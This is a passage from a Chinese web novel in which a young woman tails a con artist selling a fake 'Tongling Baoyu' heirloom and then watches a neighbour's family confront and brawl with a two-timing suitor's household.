她果真是个熟手儿,遇见好色的就处对象,黏黏糊糊的;不好色的,她就搞诈骗,只要智商低又贪心,就没有不上当的。
杜鹃今天又是乔装打扮盯梢儿的一天。
这一大早的,杜鹃和张胖子一直跟在王枣花的后头。
张胖子扮成一个长发胖女人,杜鹃则是扮成一个高个儿男人,呜呜,勒的胸疼!
两个人没走在一起,但是却不远不近的互相策应。
这一天儿的,王枣花忙的哎,她先是去了医院,很快的就跟常大妈打成一片,因为昨天的事儿,常大妈对王枣花还是很友好的,已经把她当成自己人了。
倒是胡相伟审视的看着王枣花,并不相信这女人。
他到底也是社会阅历多,总是觉得这个叫王枣花的女人,不是看起来那么纯良。
也是常菊花瞒着儿子呢,不然就一听什么方天画戟,但凡是有点脑子就知道这是个骗子。常大妈一心想要“吃独食”攒私房钱,所以坚持没有告诉儿子王枣花的来历,只说这是自己的老姐
妹。
王枣花也晓得这个胡相伟不是那么傻的,她稍微忽悠住了常大妈,立刻就离开了。
嗯,看来下一次跟常大妈见面,不能再见她这个儿子了。
其实王枣花本来也想□□一下的,反正那老爷们年轻,她不吃亏。但是经过昨天的事儿,她还是觉得不行,这小子也不是什么好东西啊。别是打鹰让鹰啄了眼。
王枣花很快的奔赴下一场,杜鹃他们就跟在后头,眼瞅着她跟一个老头儿一起走进了公园,她哭哭啼啼:“老陈大哥,我不瞒你,我那个男人,呜呜呜,你看,你看他给我打的……我说要离婚,他死活不干,我已经不知道该怎么办了。总有一天,总有一天我会被打死的。”
老头儿心疼的看着她,说:“这混蛋,这混蛋啊!你这么好,咋能这么对你,真是丧良心的,我找他去!”
“不,不不不!别去。他这人是个疯子,你不是他的对手,他可是解放前就在街面儿上混了,我不能看着你吃亏,你不要去。我有办法,我有办法的,他不就是要钱吗?我给他钱,我想过了,要给我家的传家宝卖了。到时候就够钱给他了。”
杜鹃立刻又竖起耳朵,她倚在树后面,恨不能过去接话儿:是方天画戟吗?又是方天画戟吗?
不过这次倒是没有跟杜鹃想的一样。
不是呢。
王枣花:“你知道红楼梦吧?”
老头儿还没反应,杜鹃就险些喷出来。
你该不会是说你家有个通灵宝玉吧?
“红楼梦里有个贾宝玉,贾宝玉嘴里喊着一块玉,这个你知道的吧?”
杜鹃:果然,呵呵呵!
陈老头儿点头,说:“我自然是知道的,我也是读过书的。”
王枣花微笑:“就是那个,其实,我祖上就姓贾,那块通灵宝玉,是我家的传家宝,我打算给卖掉。”
杜鹃:“………………………………”
猜对了!
她猜对了!
她竟然猜对了呢!
杜鹃一时间都不知道说啥了,呃,她好聪明?
杜鹃无语望天,这种假话,真的能骗到人吗?
事实证明,能!
真的能!
陈老头儿:“什么!你祖上竟然这么富贵!”
第 21 章 神头鬼脸的孙婷美
第21章神头鬼脸的孙婷美
杜鹃眼瞅着李家气势汹汹的,瞬间眼睛放光芒!
她激动的拉着田苗苗,说:“完了玩了,要出大事儿了。”
田苗苗瞄一眼田苗苗,说:“你的笑容收一收,别让人揍了。”
杜鹃拉着田苗苗,立刻往路边儿让了让,李家人浩浩荡荡的。为首的是李秀莲的哥哥李志刚。他们气势汹汹的,李志刚的视线跟杜鹃对上,他微妙的挑了下眉毛。
不过,倒是没有更多反应,越过她们,领着人浩浩荡荡的进入大院儿,杜鹃拉着田苗苗,嗖嗖的跟上。两个人都有点小兴奋呢。要不说啊,能成为好朋友呢。
杜鹃和田苗苗那可是默契极了,两个人颠颠儿的跟在后头。
吃瓜可少不了她们。
这会儿是下班时间,大院儿不少人进进出出,也有一些小孩子在院子里跑来跑去,乍一看这么多人气势汹汹进来,都有点蒙。
“这是干什么啊?”
“哎,好像是那个谁,那个胡相伟的对象啊,这是来定亲的?”
“你有病?哪有傍晚定亲的?再说,这一看就不对啊。”
“胡相伟不是在医院吗?”
“下午回来了。”
大家小声碎碎念,不明所以,但是看这个架势,不对劲儿,不对劲儿的啊!
砰砰砰!
敲门的声音跟砸门没两样儿。
杜鹃跟在后头,惦着脚尖儿,兴奋的很。
砰砰砰!
敲门改成实打实的砸门了。
“来了来了!”一阵脚步声:“这谁啊,不会好好敲门啊,真是要死。砸坏了你赔得起吗?”
常菊花过来开门,她儿子刚出院,回家还没收拾好呢,谁这么没有眼力见儿啊,难道是上门探病?那可不能空手。
她一下子有几分高兴,兴高采烈的拉开门:“是谁啊……咦?亲家啊,你们怎么来了?你看看,你们过来也不提前说一声,我这……”
李志刚:“常大妈,咱们两家可没定亲,你可别一口一个亲家,败坏我妹妹的名声。”
常大妈的笑脸一僵,蹙眉:“你这是怎么说话的?你看你这孩子,亲家大哥大嫂啊,你们也来了…
…”
她看向了李秀莲的父母,两个老人脸色都不太好看,表情分外的严肃。就连李秀莲都黑着脸,一脸的压抑的愤怒。
饶是李家人这样,李秀莲这样了,常菊花也没想到是儿子的事儿暴漏,反而是觉得双方都要议亲,他家来这一出儿,就是想要“东风压倒西风”。所以常菊花深吸一口气,深信坚决不能退让。
李秀莲亲爹李前进开口:“进屋说。”
“这……”
常菊花看着他们身边这些人,这足足有二三十号人,这不对啊。常菊花心里多了几分疑惑,哪有来别人家做客带这么多人的,这更像是找茬儿。
她抿抿嘴,有点不乐意了,说:“你们怎么带这么多人。”
李志刚:“你确定就要在门口站着说?”
常菊花:“我跟你爸说话,有你什么事儿,你这孩子也太能张扬了。不知道的,还以为是你家是你当家呢。”
她故意上眼药,随即又说:“秀莲啊,你跟大妈说说,你家这是要干什么,你知道的,大妈一直都很喜欢你的,我们可是很快就要成为一家人了。你带着这么多人过来,是不是不太好?你要是这样做,就太让大妈伤心了。我家大伟也会很伤心,他对你一片心意,你倒是张牙舞爪的。你这样做太让人寒心了,要是让外人知道你样跋扈,还有什么名声。我想,这说出去也不好听吧?你这么做可太不对了。”
嚯!
别管李家人咋想,杜鹃倒是觉得这老虔婆真是不要脸,这还挺能打压人的。怪不得她的统子都说他家把好好一个自信骄傲的人搞得软弱可欺。
谁整天听这样的话,听了十来年,还要一直生生生,能扛得住啊。
那是精神和身体双重打击啊。
杜鹃鄙夷的看着常菊花,这种人,真是瞅着就想呸呸呸!
杜鹃看热闹的,还挺看不上这样的呢。
也亏得他们还没进屋,所以都挤在走廊里,不然杜鹃还听不到这么离谱的话呢。
不过他家动作倒是也挺快,上午的时候,杜鹃跟踪王枣花,还跟着她去了医院呢,那会儿常菊花和胡相伟都在医院,这就出院了?果真是伤的轻了。
杜鹃内心活动一百回合,这会儿李志刚也开了口,他冷笑:“常大妈,我妹妹可没想
进你们家,你也不用在这儿来这一套。怎么的?处个对象就要被你拿住?我看以后谁进你们家门,那可真是倒了血霉了。不过也没关系,我相信总是有人想进的,呵呵。
他话里有话,偏生常大妈没听出来,她尖锐的说:“你说什么!你这是什么意思,什么叫没想进我们家的家门,你说,你给我说!
常大妈嗷嗷的,给想要看热闹的人添砖加瓦。
那可真是生怕别人听不见啊。
“好端端的,你家到底想干什么!秀莲你说,你想干什么!你这孩子怎么就这么不懂事,还没进门就带着娘家人来婆家耀武扬威?你过分了,你真的过分了。
她谴责的看着李秀莲,李秀莲气的哆嗦:“你才过分,你才不懂事,你家就没有好人。
“你这……
“妈。你干什么!
胡相伟出了门,他腿一瘸一拐的,扭伤了脚还没好呢。
“秀莲?伯父伯母快进来,快进来坐,妈,你看你,你这是干什么,快请人进来,都堵在门口像什么话。他瞅见这么多人,眼神闪了闪,心里生出几分不好的念头。
“伯父伯母,大哥,我妈脾气有点暴躁,但是她是刀子嘴豆腐心,她也是最喜欢秀莲的,你们千万别误会。
李志刚冷笑:“不必,你家这个门,我们进不起。
这一看就知道,他家的事儿是李志刚出头了。
李志刚也不客气,说:“胡相伟,既然你出来了,我们就好好说清楚,你也别总是装缩头乌龟。
他停顿一下,鄙夷的上下看了一眼胡相伟,不知道妹妹眼光为什么这么差,看上这么个玩意儿。他声音不高不低,但是近处儿的围观群众倒是都能听见的。
他冷哼着说:“我们家这次来,是来要个说法的!
他高声:“胡相伟,我妹妹去年跟你相亲认识,你当时怎么说的?你说你会对她好,我们家信了你,也是诚心要跟你们家结亲,但是你们家太过分了。脚踩两只船,恐怕没有这么干的吧?
他毫不客气,就是要给胡相伟的脸皮撕下来。
嚯!
大家没忍住,又发出一声惊呼。
杜鹃半点也不诧异,她就说,昨天这人看了白晚秋好几眼,那表情不
太对。
果然这人发现了。
好敏锐啊!
杜鹃拉着田苗苗看热闹田苗苗也挺激动:“脚踩两只船?脚踩两只船的男人长啥样儿?长得丑踩不着吧?”
杜鹃小声:“就是丑。”
田苗苗:“真的吗?我不信。”
丑八怪谁会抢啊。
这不合理!
杜鹃:“真的长得丑的我也不知道为啥要抢一个丑八怪。”
周围的邻居:“……”
你俩这么说话
好在这会儿也没人管她们说啥才十八岁的小姑娘懂个啥啊!年轻人不懂感情。
还得看热闹啊。
“胡相伟脚踩两条船我是相信的我都看见过好几次他跟不同的女同志撩闲。”
“不能吧?我看大伟挺好的啊是个热心肠的小伙子。”
“热心肠跟脚踩两只船有什么关系。”
汪王氏柔声:“这李家的姑娘就不该闹男人家的在外面哪有不逢场作戏的?早年那娶二房三房的也不是没有男人只要肯回家就是最好的男人嘛玩够了就会回家了他现在就是太年轻早晚要回归家庭的。李秀莲这么闹实在是没有格局。”
她摇摇头很是不赞成的往楼上张望又说:“李家把事情做绝了啊?以后李秀莲进门还哪有好日子过真的不是明智之举。”
杜鹃瞪大眼睛看着汪王氏很想给她脑袋摘下来摇晃一下看看里面有多少水。
这是什么老旧的旧社会糟糠思想。
啊不对她太奶都七八十了还教育他家堂姐说是:“老爷们要是敢在外面多看别的女同志一眼你就扇他!”
你瞅瞅这么大岁数的老太太都懂这个汪王氏也就五十来岁啧啧啧!
这老家伙上不如老下不如小。
不过汪王氏的想法可不是个例也有几分附和她的。但是更多的人是翻着白眼不搭理她。
大家围观着李志刚还在输出:“这件事情你家必须给我家一个交代没有你们这么欺负人的怎么的?把我们家当成二傻子了?就现在这个德行还提结婚的事儿?你们家可真是想把我妹妹拉入火坑啊我告诉你们不可能
这件事儿绝对不可能!有些话我不想说的太难听但是胡相伟你也别把所有人都当成傻子。”
胡相伟的脸色青一阵白一阵的他从小到大但凡惹事儿就是老娘出去对付胡搅蛮缠一番大事化小小事化了。如今也是这样有事儿一贯的让常菊花来处理。
倒是不想这出来晚了失了先手啊。
他尴尬的笑笑说:“大哥误会我想一定是有误会的我真的不是那种人我……”
“你不是那种人是那种人
李秀莲终于忍无可忍她跟胡相伟处了快一年了也是有感情的本来已经商量结婚的事儿了但是怎么想得到他不仅在背地里有人还在背地里有孩子了。
李秀莲觉得自己都要昏过去了。
她从小到大哪里受过这样的委屈。
李秀莲上来就扇大逼斗甩的啪啪响。
“你就这样对我你个混蛋你不是人!”李秀莲猛冲又抓又挠哭的厉害:“我对你那么好你为什么要这样对我你凭什么这么对我你丧尽天良你卑鄙无耻!你吃着碗里的望着锅里的你不是个好东西……”
“啊!”
胡相伟一贯都是觉得李秀莲很温柔的但是可不曾想她突然就爆发了。
“你干什么你干什么……”
常菊花一看这出儿也冲上来一把薅住李秀莲的头发:“你个小贱人你干什么。你竟然还敢动手反了你了。你看看你看看谁家的媳妇儿敢跟老爷们动手。这还没嫁过来就这样要是嫁过来还不得上天?你个没教养的野丫头!”
“你说谁野丫头!你家欺人太甚。”李前进气的不行他回头使了一个眼色立刻冲上来好几个彪悍的大妈几个人都是李家的亲戚猛地都冲上前瞬间常菊花就被按倒在地一个老太太骑在常菊花的身上剩下几个丁零当啷的啪啪啪砰砰砰!
全武行!
李志刚也上前了他拽着胡相伟不撒手:“你还想打我妹妹?好啊你是把我们家当软柿子了啊!好说好听的你们
家既然不能沟通,那就不要沟通了。给我砸!”
要不说人家带着人来呢,这一声令下的,大家就冲进了屋里。
本来李家人也是两手准备,好好说一说,出口气断了关系,不让这家子把脏水泼到自家身上也就好了。但是也不是没有别的准备,胡相伟他们家不会好好说话,那他们带人来也不是没用!
叮铃咣当一阵打砸!
邻居们面面相觑,一个个犹豫起来:“要不要拦一拦?”
“这不好吧?”
话是这么说,谁也不上前,人家有理又人多。
他们冲上去拦着,挨打都得白挨揍。
这可不是他们不讲邻里情,李家这话可很明显了。
李志刚没动手打人,抓着胡相伟不放,李秀莲咣咣的扇人。
她的青春她的感情,还她!都还她!
她怎么也没想到,对她千依百顺的男人背地里不仅有人,还有娃儿了。他骗了她,完全骗了她!李秀莲哪里受过这样的委屈,她嗷嗷哭,但是手上的动作可不停!
“你怎么能这样,怎么能!”
“误会,这是误会……”
“你放屁,我都见过了,那个女的叫白晚秋,她叫白晚秋,对不对?你是把我当傻子,把我家当傻子啊!”
李秀莲嗷嗷哭,把胡相伟挠成了土豆丝儿!
刷刷的!
“她说谁?”
“哎,她是不是说那个女的叫白晚秋?”
“这不是、这不是维中前几天的相亲对象吗?”
“啊这……”
这要是叫阿花阿草的,喊一声跳出来三五个,不突出,大家也记不住。
但是白晚秋这个名字,还是有些诗情画意的。
所以大家都记得,前几天维中相亲没成那个女同志,就叫白晚秋。
彩礼666那个!
这……这就跟胡相伟搞上了?
裘大妈忍不住说:“胡相伟怎么总是看上维中的相亲对象啊,这都第二回了吧?维中的相亲对象就这么香?”
大家一时沉默,田苗苗缺席了这堂课,赶紧拉着杜鹃问:“咋回事儿咋回事儿?你们好像都认识白晚秋,白晚秋是谁啊!”
杜鹃凑到田苗苗耳边嘀嘀咕咕,田苗苗:
“我的老天爷哎。”<
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p>杜鹃撇撇嘴。
大家都若有所思不言语,常大妈的叫声就更惨了。
整个楼里都是她的喊声,老太太打架,那不用多说了。
杜鹃觉得,李家挺能干的啊!那为啥原定轨迹里,没有给李秀莲出头呢?不过很快的杜鹃就不纠结这个,一时说一时的话,谁知道当时又发生了什么,才导致家里没给李秀莲出头。
那些也不重要了,没发生也不会发生的事儿,不用纠结了。
杜鹃就是这么心大的姑娘,她从不纠结想不清楚的事情。
“这是怎么了?出什么事儿了?”
杜鹃回头:“胡大叔?”
“啊,胡大叔你回来了啊,你快回家看看吧,你家都让人砸了。”
“你儿子脚踩两条船,李家来兴师问罪了。”
“你家大伟也真是的,咋就盯着维中不放了呢,这是什么仇什么怨啊。也太欺负人了。”
“就是啊!”
大家七嘴八舌的,胡大叔不明所以,但是就这么几句话,也是挺懂了不少的,他赶紧说:“让一让,都让一让。”
胡大叔急匆匆的上楼,杜鹃顺势跟着人群又往前窜了窜,她这次总算是能看见第一现场了。
“你们干什么!欺人太甚!”一声暴喝!
胡大叔看着自家一片狼藉,媳妇儿儿子都被揍成了狗,也是气的不行:“老李,你家这是什么意思,你们家有些过分了,这样不分青红皂白的……”
还没说完就被打断。
李志刚:“李大叔,我家是想好好说,但是我家好好说,你家婶子和胡相伟听不懂,既然听不懂,我们也就不客气了。到底是你家欺人太甚还是我家欺人太甚,我觉得你还是问问你老婆孩子更好,怎么的?就兴着你们家把我们家当傻子,我们家不能反击了?天底下可没有这样的道理,我是想进屋好好谈的,但是你家大妈不想好好谈。那就别怪我们不客气了。”
“你个混蛋,你个臭小子,你……”常菊花还想骂人,啪啪啪,又挨了好几个大嘴巴,这会儿那脸都肿成猪头了。
头发更是乱糟糟的,被薅的不成样子。
李前进:“志刚,你好好跟你胡大叔说话,这是什么态度。咱们有理也不能太张
狂,不然有理人家都要误会没理了。老胡,既然你回来了就正好,我看我们两家得好好谈一谈,我是知道你的为人的,我也相信你是个好人,但是你家的事儿,你真的都知道吗?你不如好好问问你家的好儿子,他到底干了什么。
胡大叔盯着胡相伟,胡相伟:“爸,我是无辜的,我……
“白晚秋。
李志刚幽幽说出三个字。
胡相伟:“我跟她没关系,我……
李志刚呵呵一声,他们家既然赶来闹事儿,自然是查清楚了的,白晚秋那么大个人杵在哪儿呢。
他又重申一次:“白晚秋。指了下肚子。
随即凝视胡相伟,他要是再敢不承认了,他可就要说道说道白晚秋怀孕的事儿了。
现在还没提,那是给胡家留个遮羞布。
毕竟,做事情到底也不能做绝了。
虽然胡家缺德,但是胡大叔救过大人物,还是有些能耐的。
他们不能不考虑。
胡相伟看着李志刚的表情,不敢强硬了。
胡大叔一看这一出儿,还有什么不懂,再一想这不是江维中相亲的对象?他气的不行,没忍住上前就是一个大逼斗:“你个逆子!
胡相伟:“爸!
常大妈:“老头子!
他胡大叔深深吸气呼气,说:“这事儿,我不知道,我是真的不知道。不过老李你相信我,我查清楚,一定给你家一个交代。
停顿一下,他说:“进来说吧,这样也不像话。
他又看向围观人群,说:“散了吧,大家都散了吧,今个儿的事儿我们会处理好的,都散了吧,赶紧回家做饭吧。
李前进:“大姐,你也领着人都下楼等吧。
“成!
一个老太太率领众人,一起出了楼道。
杜鹃她们也随大流儿出来了。
田苗苗惊叹:“没想到你们大院儿也有这样的事儿,我以为就我们大杂院儿有这样的事儿呢。你们可是公安局家属院啊,没想到,真是没想到啊。
杜鹃:“这有啥啊?那部队家属院儿还都是军人家属呢,难道就不为了家长里短闹腾?也没啥啊,大家都不是圣人。老百姓过日子就这样。再说,我们大
院儿还有机械厂保卫科呢。又不是都是公安。”
“那倒是。”
两个人在一起蛐蛐儿远远地杜鹃就看到孙婷美过来了。
他们这家属楼啊前楼跟其他几栋楼不一样前楼的楼道口是冲着院子算是向后开其他都是正常向前开。所以前楼跟杜鹃他们这栋楼的楼道口是对着的。
大家都站在楼道口抬眼就能看见孙婷美他们家。
孙婷美原本那倒是没出来看热闹但是这会儿却出来了奔着杜鹃和田苗苗。
她们都是高中同学。
孙婷美抿着嘴脸色带着几分阴郁走到两个人身边她倨傲的扬了扬下巴说:“田苗苗你怎么来了?”
田苗苗:“要你管!”
田苗苗最不喜欢孙婷美。
别看都是高中同学但是孙婷美在学校总是看不起人田苗苗虽然家境不算好但是也并不怎么自卑。别人条件好又怎么样钱又不会给她花!
她可不会因为别人条件好就自觉低人一等。
田苗苗翻白眼说:“你管好你自己吧。”
孙婷美生气:“你什么意思!”
不过很快的她嗤笑一声上下打量一下田苗苗说:“我跟你计较什么一个注定要下乡的人。”
她的梦里完全没有杜鹃。
但是她记得田苗苗也下乡了而且走的比她还早。
虽说后来他们没有什么来往她也不知道田苗苗下乡之后怎么样了但是想也知道不会好了。乡下的日子哪里有好的?
这么想着她再看田苗苗就有几分居高临下了。
“你就下乡做一辈子泥腿子吧。”
田苗苗气的跺脚:“你!”
杜鹃拉住田苗苗上下打量孙婷美说:“哎不是你是不是有病啊!有本事你出去说这个话你敢看不起农民看不起劳动人民啊!你敢出去说吗?”
这话可大可小的。
孙婷美脸色一变:“我没有这个意思。”
杜鹃:“那你是什么意思欺负田苗苗啊!我看苗苗说得对
田苗苗:“就是!”
真烦人。
孙婷美咬着唇分外的气恼。